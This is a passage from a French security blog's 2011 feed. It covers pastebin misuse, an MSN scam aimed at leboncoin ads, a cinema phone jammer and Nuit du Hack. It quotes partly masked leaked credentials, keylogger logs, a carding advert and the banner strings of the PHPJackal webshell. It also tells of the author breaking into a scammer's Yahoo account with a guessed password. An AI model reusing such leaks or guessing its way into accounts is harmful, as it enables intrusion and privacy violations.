&lt;p&gt;On trouve aussi des identifiants d'accès à différents services en fouillant un peu (les identifiants et mots de passe ont été modifiés):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
ftp://3dsp_********&amp;#64;3dsp.com.cn/

user: 3dsp_********
passwd: m4r***

user: 3dsp_********
passwd: fw1***
&lt;/pre&gt;
&lt;p&gt;Cette utilisation correspond à l'usage normal du &lt;em&gt;pastebin&lt;/em&gt;, cependant on peut s'apercevoir très rapidement que ces systèmes sont aussi employés pour diffuser des versions crackées de jeux, comme le tout récend &lt;strong&gt;Dead Island&lt;/strong&gt;, qui se retrouve sur fileserve en archive multi-parties et dont plusieurs &lt;em&gt;pastes&lt;/em&gt; ont été réalisées sur différents &lt;em&gt;pastebins&lt;/em&gt;, référençant les différents fichiers. Bon c'est du &lt;em&gt;direct download&lt;/em&gt;, mais c'est certainement employé pour diffuser ces informations.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part01.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part02.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part03.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part04.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part05.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part06.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part07.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part08.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part09.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part10.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part11.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part12.rar
http://www.filesonic.com/file/188*******/D34d_I5la_Reloaded_By_EscorpionENS.part13.rar
&lt;/pre&gt;
&lt;p&gt;Un autre usage observé, et qui se rapproche de ce que l'on a pu voir avec l'annonce sur ces systèmes de piratages de serveurs, est la publication de comptes email compromis, avec dans la grande majorité des cas le compte email et de manière optionnelle les mots de passe:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
TARGET: Sony Pictures International [sonypictures.com]

[exposed sonypictures.com database]
NAME: sweepstakes

- sptv_seinfeld_delboca_users

EMAIL | PASSWORD

1&amp;#64;grandhaven.us | swe***
10coleen&amp;#64;bellsouth.net | rox***
121cabana&amp;#64;animail.net | a0a***
123&amp;#64;11.com | 123***
12347890&amp;#64;charter.net | 2ca***
1369venom&amp;#64;gmail.com | tho***
1544&amp;#64;comcast.net | mic***
1709green&amp;#64;gmail.com | g9g***
1948baby&amp;#64;comcast.net | mar***
19jackson&amp;#64;comcast.net | den***
1agordon&amp;#64;roadrunner.com | scr***
1Chance4Laura&amp;#64;gmail.com | can***
1colleenruth&amp;#64;q.com | yos***
1koko2&amp;#64;gmail.com | spa***
1l9b8w7b&amp;#64;gmail.com | 19L***
1lindam&amp;#64;gmail.com | sca***
1lizardqueen&amp;#64;gmail.com | bud***
1redsox1&amp;#64;sbcglobal.net | cas***
...
&lt;/pre&gt;
&lt;p&gt;Dans le même style, certains pirates récupèrent des informations de keyloggers directement via des &lt;em&gt;pastes&lt;/em&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
----------------------------------------------------------
Program:        Firefox
Url/Host:       http://aimbots.net
Login:          Swa********
Password:       bax***
Computer:       TROY-PC
Date:           2011-05-08 22:53:23
Ip:                     69.108.***.***
----------------------------------------------------------
Program:        Firefox
Url/Host:       http://www.d3scene.com
Login:          Swa********
Password:       bax***
Computer:       TROY-PC
Date:           2011-05-08 22:53:23
Ip:                     69.108.***.***
----------------------------------------------------------
Program:        Firefox
Url/Host:       http://www.fpscheats.com
Login:          taj********&amp;#64;yahoo.com
Password:       bax***
Computer:       TROY-PC
Date:           2011-05-08 22:53:24
Ip:                     69.108.***.***
----------------------------------------------------------
Program:        Firefox
Url/Host:       http://www.fpscheats.com
Login:          Swa********
Password:       bax***
Computer:       TROY-PC
Date:           2011-05-08 22:53:24
Ip:                     69.108.***.***
----------------------------------------------------------
&lt;/pre&gt;
&lt;p&gt;Ou encore partagent des bouts de code PHP réalisant ce qui semble être un webshell (PHPJackal):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$intro=&amp;amp;quot;&amp;amp;lt;center&amp;amp;gt;&amp;amp;lt;table border=0 style='border-collapse: collapse'&amp;amp;gt;&amp;amp;lt;tr&amp;amp;gt;&amp;amp;lt;td bgcolor='#666666'&amp;amp;gt;&amp;amp;lt;b&amp;amp;gt;Script:&amp;amp;lt;/b&amp;amp;gt;&amp;amp;lt;br&amp;amp;gt;&amp;amp;quot;.str_repeat('-=-',25).&amp;amp;quot;&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;b&amp;amp;gt;Name:&amp;amp;lt;/b&amp;amp;gt; PHPJackal&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;b&amp;amp;gt;Version:&amp;amp;lt;/b&amp;amp;gt; $v&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;b&amp;amp;gt;Author:&amp;amp;lt;/b&amp;amp;gt;&amp;amp;lt;br&amp;amp;gt;&amp;amp;quot;.str_repeat('-=-',25).&amp;amp;quot;&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;b&amp;amp;gt;Name:&amp;amp;lt;/b&amp;amp;gt; NetJackal&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;b&amp;amp;gt;Country:&amp;amp;lt;/b&amp;amp;gt; Iran&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;b&amp;amp;gt;Website:&amp;amp;lt;/b&amp;amp;gt; &amp;amp;lt;a href='http://netjackal.by.ru/' target='_blank'&amp;amp;gt;http://netjackal.by.ru/&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;b&amp;amp;gt;Email:&amp;amp;lt;/b&amp;amp;gt; &amp;amp;lt;a href='mailto:nima_501&amp;#64;yahoo.com?subject=PHPJackal'&amp;amp;gt;nima_501&amp;#64;yahoo.com&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;noscript&amp;amp;gt;&amp;amp;quot;.str_repeat('-=-',25).&amp;amp;quot;&amp;amp;lt;br&amp;amp;gt;&amp;amp;lt;b&amp;amp;gt;Error: Enable JavaScript in your browser!!!&amp;amp;lt;/b&amp;amp;gt;&amp;amp;lt;/noscript&amp;amp;gt;$et&amp;amp;lt;/center&amp;amp;gt;&amp;amp;quot;;^M
$footer=&amp;amp;quot;$*msgbox*PHPJackal v$v - Powered By &amp;amp;lt;a href='http://netjackal.by.ru/' target='_blank'&amp;amp;gt;NetJackal&amp;amp;lt;/a&amp;amp;gt;$et&amp;amp;quot;;
&lt;/pre&gt;
&lt;p&gt;J'ai aussi pu identifier quelques annonces de carders, et foultitude de liens pointant sur des sites pornographiques, avec des accès valides (oui j'ai vérifié, et non je n'ai pas sali le clavier ou l'écran):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
I'm Seller for: CC, CVV US,UK,CA, EURO,AU, Italian,Japan,France,...all cc.
Paypal verify, Software Spam mail mail list, code PHP,Shop Admin and CC fullz info, CC DOB, Dump, Banklogin, Pri sock....Domain hosting.

If you want to test you must send money for me
Contact me if you need it: YahooID: sell_cvv.good89
You Send money =&amp;amp;gt; I send cvv2 good
Payment via LR
Sell Paypal account US reg 3 month ago: 18$/1 acc: Verified
Sell Paypal account US: 10$/1 acc: Verified
Sell Bank account info US: 7$
Sell PVN to ----&amp;amp;gt; US : 8$/month ( Fake IP US)
Sell Visa Debit US : 120$
&amp;amp;quot;Sell cvv US UK AU EU full info live 100% good price
1 Sock live = 1$/1sock live &amp;gt; 5day

...

http://123****:987****&amp;#64;members.collegefucktour.com/full/
http://Dre****:WP2****&amp;#64;americancatfighting.com/members/
http://caf****:mcf****&amp;#64;www.hioctanemag.com/membership/
http://epo****:epo****&amp;#64;members.larinlanexxx.com/
http://rom****:rom****&amp;#64;realspankingspremium.com/members/
http://ani****:ani****&amp;#64;www.beautygirl-story.org/
http://sam****:sam****&amp;#64;transworldasia.com/private/members/members-main.php
http://713****:par****&amp;#64;readvintage.com/members/
http://JAS****:FIS****&amp;#64;www.blacksandmatures.com/members/v2/
...
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Actuellement, les &lt;em&gt;pastebins&lt;/em&gt; servent de système de stockage (presque) anonymes, et autant les utilisateurs que les développeurs de &lt;em&gt;pastebins&lt;/em&gt; (à l'exception de certains &lt;em&gt;pastebins&lt;/em&gt; comme &lt;em&gt;pastebin.com&lt;/em&gt;, et autres) ne s'y prennent pas comme il faut. En faisant cela, des données personnelles et/ou confidentielles sont exposées, et un petit malin récupérant l'intégralité des &lt;em&gt;pastes&lt;/em&gt; régulièrement pourrait tomber sur des informations sensibles. Aucune limitation de requêtes n'est présente, pas de surveillance du contenu (supposé privé amha).&lt;/p&gt;
&lt;p&gt;Le manque de protection par mot de passe ou de &lt;em&gt;pastes&lt;/em&gt; consultables qu'une seule fois (via l'emploi de jetons) se fait rapidement sentir. Les développeurs de ces plateformes sont responsables de la sécurité des données insérées par les utilisateur, bien que la grande majorité se déchargent allègrement de cette responsabilité au travers de disclaimers comme celui-ci:&lt;/p&gt;
&lt;p&gt;&amp;lt;quote&amp;gt;With great power comes great responsibility.
Pastie wisely. &amp;lt;/quote&amp;gt;&lt;/p&gt;
&lt;p&gt;Toutefois, cela reste une très bonne source de recherche pour dénicher des informations sensibles, comme des comptes email/facebook compromis, des accès aux hotspots Neuf, des informations sensibles issues d'entreprises dont les employés partagent via ces systèmes, et pas seulement détecter la compromission d'un serveur. De même, les outils de veille technologique devraient intégrer l'indexation de ce type de contenu, contenant potentiellement (et temporairement dans certains cas) des données vitales concernant une personne ou une entreprise.&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Le cheval de Troie belge, version béninoise</title><link href="https://virtualabs.fr/humeur/Le-cheval-de-Troie-belge-version" rel="alternate"/><published>2011-08-17T22:31:17+02:00</published><updated>2011-08-17T22:31:17+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-08-17:/humeur/Le-cheval-de-Troie-belge-version</id><summary type="html">&lt;p&gt;C'était samedi dernier, ma femme traînait comme chaque weekend sur MSN, guettant chacun de ses contacts afin de discuter des choses en cours, etc... Et son petit frère vient lui parler, et le plus normalement du monde lui demande de mettre une annonce à sa place sur le site www …&lt;/p&gt;</summary><content type="html">&lt;p&gt;C'était samedi dernier, ma femme traînait comme chaque weekend sur MSN, guettant chacun de ses contacts afin de discuter des choses en cours, etc... Et son petit frère vient lui parler, et le plus normalement du monde lui demande de mettre une annonce à sa place sur le site www.leboncoin.fr. Geekant à côté, ce fait m'a clairement intrigué, mais je l'ai laissée faire, tout en restant méfiant. Et je n'ai pas eu tort.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;tu vas m aider juste 5min ...&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je sentais bien qu'elle galérait à suivre les indications de son frère, qui par ailleurs avait un langage bizarre. Petit extrait de la conversation:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
mme_virtu: tu veu que jappel
xxx: tu vas m aider juste 5min a remplir un formulair d'annonce sur un site d' annonce gratuite car il y a mon pc qui beugg sur le site et qui me soul et me donne la merde
mme_virtu: ah et quest ce que je peu faire
xxx: voila tu va sur le site www.leboncoin.fr et tu klic sur deposer une annonce et apres tu me di la suite

 cbon??

 tu es sur le site ??


 ??
mme_virtu: oui ji suis
xxx: ok  tu klic sur deposer une annonce
mme_virtu: c fai
xxx: ok
 Code postal: 50110
Département: Manche
Région: Basse-Normandie

 voila
 tu remplir
 et tu me di la suite

mme_virtu: OKI ENSUITE
xxx: oui tu me di et je te donne
mme_virtu:  OK
&lt;/pre&gt;
&lt;p&gt;Bref, il se montrait un poil trop insistant. Elle était là pour l'aider quoi, il aurait dû être plus reconnaissant le bougre. Je flairais le piège. Pour le coup, il lui demande par la suite de télécharger des images directement via des URLs, de les sauvegarder et de les ajouter à l'annonce. C'est là que ma femme a laché l'affaire, n'étant pas experte de la chose, elle me passe son laptop et me demande de le faire à sa place. Je le prends, termine la saisie de l'annonce, et note les informations intéressantes fournies par mon interlocuteur:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Email de contact associé à l'annonce: &lt;em&gt;carine...alion&amp;#64;yahoo.fr&lt;/em&gt; (masquée ici)&lt;/li&gt;
&lt;li&gt;Tel: 0500745855&lt;/li&gt;
&lt;li&gt;Mot de passe de l'annonce: 123456&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je soumets, et là il me demande de la valider à sa place, en me collant directement le lien dans MSN. Encore une fois, très louche tout ça. Je lui fais croire que j'ai validé, et il me demande d'en poster une nouvelle. J'en profite pour faire les vérifications d'usage:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
mme_virtu: ok, vous arrivez quand ici ?
xxx: tu a remplir deja ??
mme_virtu: nan pas encore, je veux juste savoir quand est-ce que tu viens me voir lol
xxx: demain  soir ok tu remplir et tu me di ok  on fini vite
mme_virtu:  ca peut pas attendre dimanche, ca me saoule ...
xxx: ok tu sa quand?? tu veux quand alor ?
mme_virtu: dimanche quand tu seras a la maison
xxx: koi?? tu remplir la ??
&lt;/pre&gt;
&lt;p&gt;Bon, comme prévu il a eu faux à la question piège (la date de son arrivée), à savoir qu'il devait venir le lendemain en début d'après-midi et non le soir. Pour le coup je l'ai fait un peu patienter, généralement cela a le don d'énerver l'interlocuteur (ce qui a été le cas ici). Pour terminer, je refuse tout simplement de poster une seconde annonce à sa place, et il se déconnecte aussitôt sans autre forme d'au-revoir, ce qui me confirme encore une fois que ce n'était pas mon beau-frère en face, mais bel et bien un pirate.&lt;/p&gt;
&lt;p&gt;En parallèle de cette conversation, j'avais googlé rapidement quelques mots-clefs histoire de voir si c'était une arnaque connue, et quelle ne fut pas ma surprise de lire plein d'avis d'internautes qui se sont fait avoir par ce type de piège.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oui, mais pourquoi ? Pourquoiiiiii ??&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La première question qui m'est passée par l'esprit était celle du pourquoi: pourquoi demander à une tierce personne de poster une annonce sur le site www.leboncoin.fr alors qu'elle pourrait le faire elle-même. J'ai donc entrepris de faire quelques recherches dans ce sens.&lt;/p&gt;
&lt;p&gt;Première partie de réponse, qui m'a semblé évidente: pour éviter d'être tracé. En effet, les annonces postées indirectement par les pirates sont très alléchantes, et peuvent attirer de potentielles victimes qui pourraient décider d'acheter un bien fictif et se feraient donc arnaquer de quelques milliers d'euros. En cas d'enquête, c'est l'adresse IP de la personne qui a posté l'annonce qui est suspecte. Ceci dit, les proxies anonymes et/ou ouverts existent, et permettent de passer outre. J'étais sceptique.&lt;/p&gt;
&lt;p&gt;J'ai donc décidé de vérifier par moi-même si leboncoin interdisait l'envoi d'annonce de l'étranger:&lt;/p&gt;
&lt;img alt="" src="/images/UtilisateursBeninBloque-cropped.png" /&gt;
&lt;p&gt;Impossible donc de déposer une annonce si on ne provient pas d'une adresse IP française, et cela afin de limiter les fraudes je suppose. Pour un étranger, demander à un français de passer une annonce à sa place a donc deux avantages: pouvoir déposer et valider une annonce (lors de la discussion, mon interlocuteur m'a demandé de visiter un lien de validation d'annonce) tout en étant quasi pas traçable.&lt;/p&gt;
&lt;p&gt;En recherchant sur Internet plus d'information sur ce type d'arnaque, je suis tombé sur deux URLs bien sympatiques:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.blog-note.com/msn-peux-tu-mettre-une-annonce-pour-moi-sur-le-bon-coin-arnaque/"&gt;http://www.blog-note.com/msn-peux-tu-mettre-une-annonce-pour-moi-sur-le-bon-coin-arnaque/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://didoune.fr/blog/2011/03/07/discussion-avec-un-pirate-africain/"&gt;http://didoune.fr/blog/2011/03/07/discussion-avec-un-pirate-africain/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Elles expliquent en partie les motivations de ces pirates, et notamment le fait que ceux-ci cherchent à déposer des annonces frauduleuses sur le site www.leboncoin.fr, mais tentent aussi de phisher le mot de passe MSN de la victime à l'aide de ce site même ! Je dois avouer que je n'avais pas directement pensé à cette solution...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1, 2, 3, 4, 5, 6 ... owné !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai remarqué que le pirate m'a demandé de mettre le mot de passe &lt;em&gt;123456&lt;/em&gt; comme mot de passe de l'annonce, alors je me suis dit qu'il devait être &amp;quot;fan&amp;quot; de ce type de mot de passe. Ni une ni deux, je me suis connecté sur le portail de Yahoo, et je me suis authentifié sur le compte qu'il m'avait fourni  avec le même mot de passe, bingo !&lt;/p&gt;
&lt;img alt="" src="/images/EmailBienvenueYahoo-cropped.png" /&gt;
&lt;p&gt;J'ai pu retrouver l'email de demande d'activation de l'annonce envoyé par www.leboncoin.fr:&lt;/p&gt;
&lt;img alt="" src="/images/EmailValidationLBC-cropped.png" /&gt;
&lt;p&gt;Bon, jusque là rien de super passionnant. J'ai juste réussi à compromettre le compte email du pirate. Cependant, Yahoo propose une fonctionnalité capitale: la possibilité de regarder qui s'est connecté sur le compte (via l'option &amp;quot;Infos Compte&amp;quot;), et affiche notamment les adresses IP. C'est comme cela que j'ai pu récupérer les différentes adresses IP du pirate qui a créé ce compte:&lt;/p&gt;
&lt;img alt="" src="/images/ConnexionsRecentesYahooIP-cropped.png" /&gt;
&lt;p&gt;Une rapide géolocalisation de ces adresses IP montre qu'elles proviennent du Bénin (Cotonou et villes proches), ce qui est apparemment très courant dans ce type d'arnaque. Le compte a été visité le lendemain de la tentative que j'ai essuyé, mais sans nouvelles du site www.leboncoin.fr . Quant au numéro de téléphone donné par le pirate, celui-ci n'est pas attribué.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le cheval de Troie belge de retour !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je n'ai pas pu récupérer plus d'information que cela sur le pirate (pas comme didoune qui a pu discuter avec lui et mesurer sa ... enfin bref), mais on peut se rendre compte très rapidement que l'attaque est réalisée par des personnes sans aucune connaissance technique en informatique et encore moins en sécurité:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Mot de passe très faible (le plus courant même ...)&lt;/li&gt;
&lt;li&gt;Apparemment pas d'utilisation de proxy&lt;/li&gt;
&lt;li&gt;Fraude bancale (car oui, l'annonce n'a jamais été acceptée)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le site www.leboncoin.fr fait tout son possible pour éradiquer ce type de comportement, qui s'est d'ailleurs propagé sur facebook et d'autres messageries instantanées, mais cela reste la bonne vieille technique du cheval de Troie belge: &amp;quot;Bon maintenant tu ouvres ton navigateur, et tu fais ce que je te dis ...&amp;quot;. Ce type de fraude n'est pas neuf, car plusieurs attaques de ce genre ont été recensées à partir de 2010.&lt;/p&gt;
&lt;p&gt;On ne le dira jamais assez, mais ne faites pas n'importe quoi avec votre compte facebook ou MSN, sans quoi vous mettez votre sécurité, vos données personnelles ainsi que celles de vos amis en danger.&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>Bonjour l'embrouille</title><link href="https://virtualabs.fr/humeur/Bonjour-l-embrouille" rel="alternate"/><published>2011-07-13T23:49:38+02:00</published><updated>2011-07-13T23:49:38+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-07-13:/humeur/Bonjour-l-embrouille</id><summary type="html">&lt;p&gt;Bon, c'est un fait, je n'ai pas pu échapper au dernier Harry Potter en 3D. J'ai patienté dans la file d'attente, j'ai réussi à trouver une place pour ma moitié et moi-même, mais avant de chausser mes lunettes je me préparais à twitter en cas de pub hadopi ou je …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Bon, c'est un fait, je n'ai pas pu échapper au dernier Harry Potter en 3D. J'ai patienté dans la file d'attente, j'ai réussi à trouver une place pour ma moitié et moi-même, mais avant de chausser mes lunettes je me préparais à twitter en cas de pub hadopi ou je ne sais quoi d'autre ...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ah bah ouais mais non&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'était sans compter l'industrie du cinéma et ses ingénieux trésors déployés pour retarder (vainement) l'apparition sur les réseaux dits «pirates» de vidéos réalisées via des mobiles. En effet, j'ai eu la surprise de découvrir que les réseaux GSM étaient brouillés, tout comme la 3G. Impossible de se connecter au net pour twitter une dernière fois avant le début de la fin d'Harry Potter.&lt;/p&gt;
&lt;p&gt;La séance débuta, et je me résolus à laisser ce tracas de côté et à suivre le film (ouais bon, je ne paye pas 8,50 euros juste pour me poser des questions sur le type de brouilleur utilisé). Une fois la séance bouclée et les lumières revenues, j'en profite pour localiser le bouzin. Je n'ai pas trop tardé à le trouver, des LED m'ont mis sur la voie, mais surtout la manière dont il a été installé, je vous laisse seuls juges:&lt;/p&gt;
&lt;img alt="" src="/images/brouilleur_cine.jpg" /&gt;
&lt;p&gt;J'ai encadré en rouge le dispositif de brouillage, qui est simplement accroché et branché sur une bête prise de courant avec un adaptateur. D'habitude dans cette salle je n'ai jamais eu de problème avec le réseau (la dernière fois j'avais failli dérailler car une pimbèche était scotchée à son blackberry et recevait des appels durant la scéance ...), mais cela m'a amené à me poser quelques questions, dont une notamment: «Est-ce que les salles de cinéma ont été sommées d'utiliser ce type de protection afin de protéger le droit d'auteur pour Harry Potter ?».&lt;/p&gt;
&lt;p&gt;En effet, ce dispositif étant tout récent (bon ok, je n'ai pas été tout récemment dans cette salle, mais il y a de cela quelques semaines), on est en droit de se demander s'il n'a pas été installé juste pour cet évènement. Cela s'est déjà vu que des dispositifs particuliers aient été pris pour la sortie de films très attendus, et peut-être que celui-là en fait partie. Je fais d'ailleurs appel à vous, si jamais cette mésaventure vous est arrivée durant le visionnage de ce film (ce qui étayerait ma thèse, je l'avoue). N'hésitez pas à me twitter.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Smartphones trop smarts ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est à se demander si les smartphones (et la miniaturisation qui va avec) ne sont pas en ce moment même en train de poser de sérieux problèmes à plein de gens. On a pu lire ça et là sur le net que les examens du bac et notamment certaines réponses ont circulé via facebook, qu'un smartphone a été utilisé pour prendre en photo un sujet de bac S, ou encore qu'il est question d'interdire les smartphones dans les salles d'examen. Au cinéma, le problème est abordé dans le sens contraire: on cherche à les rendre inopérant et à éviter toute fuite «rapide». Et c'est bien ça le problème que posent ces smartphones: l'instantanéité. Clic clac, une photo, un clic de bouton et c'est sur facebook, twitter ou google+. On filme 2 minutes de film, et on peut partager très rapidement sur youtube des extraits quasi en direct d'un film. L'instantanéité va tuer toutes les protections qui étaient jusque là mises en place.&lt;/p&gt;
&lt;p&gt;La place des smartphones dans la société actuelle (qui a dit 2.0 ?) est remise en question, tout comme leur usage. Il ne faut pas oublier qu'ils restent l'outil préféré des geeks (comme moi), des jeunes nés avec Internet entre les doigts (comme eux), et les technophiles de tout poil (comme vous ?), et que sans eux on se sentirait bien seul. Enfin moi surtout, mais c'est une autre histoire.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La solution: l'adaptation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tout comme les usages en terme de partage et de téléchargement ont évolué, les mécanismes de protection vont eux aussi devoir évoluer. L'arrivée de la 3D dans les salles de cinéma va poser de nouveaux soucis aux amateurs de film réalisés via smartphone: la qualité n'est pas au rendez-vous (ce qui amène à se poser la question de savoir si dans mon cas de figure la protection mise en place dans la salle de cinéma était réellement nécessaire), et est une première réponse de l'industrie du cinéma contre le piratage de films via le format DivX. Les salles d'examen vont opter pour une interdiction des smartphones (et des téléphones en général je suppose) afin d'éviter toute triche. Beaucoup de moyens en perspective, alors qu'il y a certainement beaucoup à tirer de ces smartphones.&lt;/p&gt;
&lt;p&gt;Quid d'un QRCode dans un film qui mènerait à du contenu bonus, accessible en live (images, énigmes, etc ...) ? Bon j'avoue que pour le coup de la triche aux examens, je n'ai pas trouvé de contre-argument valable, mais je suis sûr qu'en cherchant bien ... Vous l'aurez compris, les smartphones sont de plus en plus présent, et il va falloir apprendre à faire avec. Si on ne peut pas les combattre, on peut tout de même les utiliser d'une manière détournée afin de réconcilier tout le monde. Du moins, il y a certainement quelques pistes à explorer ;)&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>Ah pinaise ... quelle Nuit du Hack 2011 !</title><link href="https://virtualabs.fr/humeur/Ah-pinaise-quelle-Nuit-du-Hack" rel="alternate"/><published>2011-06-22T01:06:14+02:00</published><updated>2011-06-22T01:06:14+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2011-06-22:/humeur/Ah-pinaise-quelle-Nuit-du-Hack</id><summary type="html">&lt;p&gt;Samedi se déroulait la neuvième édition de la Nuit du Hack, organisée par Sysdream et la communauté Hackerzvoice. Ce fut une nuit très enrichissante, pleine de rencontres et de pur fun, avec entre 700 et 800 visiteurs (je n'ai pas eu les chiffres officiels à ce jour).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rude préparation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cela …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Samedi se déroulait la neuvième édition de la Nuit du Hack, organisée par Sysdream et la communauté Hackerzvoice. Ce fut une nuit très enrichissante, pleine de rencontres et de pur fun, avec entre 700 et 800 visiteurs (je n'ai pas eu les chiffres officiels à ce jour).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rude préparation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cela fait plusieurs mois que l'on travaillait à l'organisation de cette Nuit du Hack 2011: organisation des talks, des workshops, du CTF (sic) et du wargame public. Toute la team hackerzvoice s'est mobilisée, chacun apportant sa brique à l'édifice qui s'agrandit chaque année. Nous avons opté pour un changement d'endroit, les péniches n'étant pas du tout adaptées à ce type d'évènement le choix du New York Hotel de Disneyland fut fait. Le New York Hotel de Disney possède une salle de 2000 mètres carrés, avec une régie, une scène, une sonorisation sur mesure ... Alors oui, quand on a annoncé que ça se passait à Disneyland, les critiques et commentaires ironiques ont fusés sur Twitter.&lt;/p&gt;
&lt;p&gt;Du côté technique, le Capture The Flag de cette année a vu son architecture évoluer, peut-être un peu trop quand on voit comment on a missionné à le lancer. Franchement, pour y avoir passé des nuits dessus et avec pas mal de personnes impliquées, je suis sincèrement déçu que cela n'ait pas pu se dérouler dans les conditions voulues. On avait monté deux baies serveur et une palette de machines à la mode NdH2010, tout cablé et testé auparavant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rencontre avec les speakers, puis pseudo-dodo&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nous sommes arrivés au New York Hotel le vendredi soir, pour tout installer pour le lendemain. J'ai retrouvé Bruno Kerouanton au pub du NYH, accompagné de Nicolas Grégoire, Gary S. Miliefsky et Mario Heiderich. Ils sont venus nous donner du courage pour la préparation de la Nuit du Hack, et puis on en a profité pour boire un coup avec eux. J'ai retrouvé aussi Winn Schwartau, que j'ai rencontré l'année dernière à Las Vegas lors de la Defcon 18; ça faisait tout drôle de le revoir, avec sa moustache inchangée ;). J'ai passé un vendredi soir magique, j'ai même trouvé le temps de troller sur Hadopi avec Mario Heiderich o/ ! Petite retouche de mes slides pour la forme, avec Sorcier_FXK.&lt;/p&gt;
&lt;p&gt;L'installation du matériel et le câblage se sont terminés tard dans la nuit (aux alentours de 3h du matin, le samedi). J'en ai profité pour rejoindre une chambre dans laquelle on a squatté avec Sorcier_FXK (kalkulators.org), Ezano et Franklin (le guru des conférences). Je n'ai dormi que 4h environ, mais ca m'a permis de récupérer un petit peu avant le grand jour.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jour J, stress au max&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Douche, petit-dej sur le pouce, et je débarque dans la salle où va se dérouler la Nuit du Hack 2011. Les régisseurs sont en place, on fait les derniers checks au niveau des écrans et du son, toujours les derniers détails qui posent problème. Je fais un test sur la scène, c'est vraiment impressionnant ... C'est vide mais j'essaie de m'imaginer ça rempli. Les gens commencent à arriver, et là problème: les applications de lecture des QRCodes des badges ne fonctionnent pas (à 30min de mon talk). Je règle le problème en urgence, et je saute sur scène. C'était plus dur que ce que je pensais en fait, de parler devant six ou sept cent personnes, avec un spot dans la tronche. J'ai chaud, je bafouille légèrement, mais j'arrive à gérer le temps et la démo en évitant de la louper. Plutôt cool donc :). Pour ceux que cela intéresse, les slides de mon talk &lt;a class="reference external" href="http://virtualabs.fr/ndh2k11/hacking-android.pdf"&gt;sont disponibles ici&lt;/a&gt;.&lt;/p&gt;
